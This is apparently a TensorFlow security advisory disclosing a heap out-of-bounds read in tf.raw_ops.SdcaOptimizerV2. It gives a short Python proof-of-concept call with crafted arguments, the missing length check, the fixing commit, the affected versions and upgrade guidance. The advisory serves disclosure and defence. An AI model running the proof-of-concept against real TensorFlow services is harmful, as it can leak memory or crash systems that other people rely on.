Heap OOB in `SdcaOptimizerV2`

Overview

Impact

An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to tf.raw_ops.SdcaOptimizerV2:

import tensorflow as tf
  
tf.raw_ops.SdcaOptimizerV2(
  sparse_example_indices=[[1]],
  sparse_feature_indices=[[1]],
  sparse_feature_values=[[1.0,2.0]],
  dense_features=[[1.0]],
  example_weights=[1.0],
  example_labels=[],
  sparse_indices=[1],
  sparse_weights=[1.0],
  dense_weights=[[1.0]],
  example_state_data=[[100.0,100.0,100.0,100.0]],
  loss_type='logistic_loss',
  l1=100.0,
  l2=100.0,
  num_loss_partitions=1,
  num_inner_iterations=1,
  adaptive=True)       

The implementation does not check that the length of example_labels is the same as the number of examples.

Patches

We have patched the issue in GitHub commit a4e138660270e7599793fa438cd7b2fc2ce215a6.

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by members of the Aivul Team from Qihoo 360.

Affected packages

• tensorflow < 2.3.4
• tensorflow >= 2.4.0, < 2.4.3
• tensorflow >= 2.5.0, < 2.5.1
• tensorflow-cpu < 2.3.4
• tensorflow-cpu >= 2.4.0, < 2.4.3
• tensorflow-cpu >= 2.5.0, < 2.5.1
• tensorflow-gpu < 2.3.4
• tensorflow-gpu >= 2.4.0, < 2.4.3
• tensorflow-gpu >= 2.5.0, < 2.5.1

Remediation

Upgrade to a patched release:

• tensorflow 2.3.4
• tensorflow 2.4.3
• tensorflow 2.5.1
• tensorflow-cpu 2.3.4
• tensorflow-cpu 2.4.3
• tensorflow-cpu 2.5.1
• tensorflow-gpu 2.3.4
• tensorflow-gpu 2.4.3
• tensorflow-gpu 2.5.1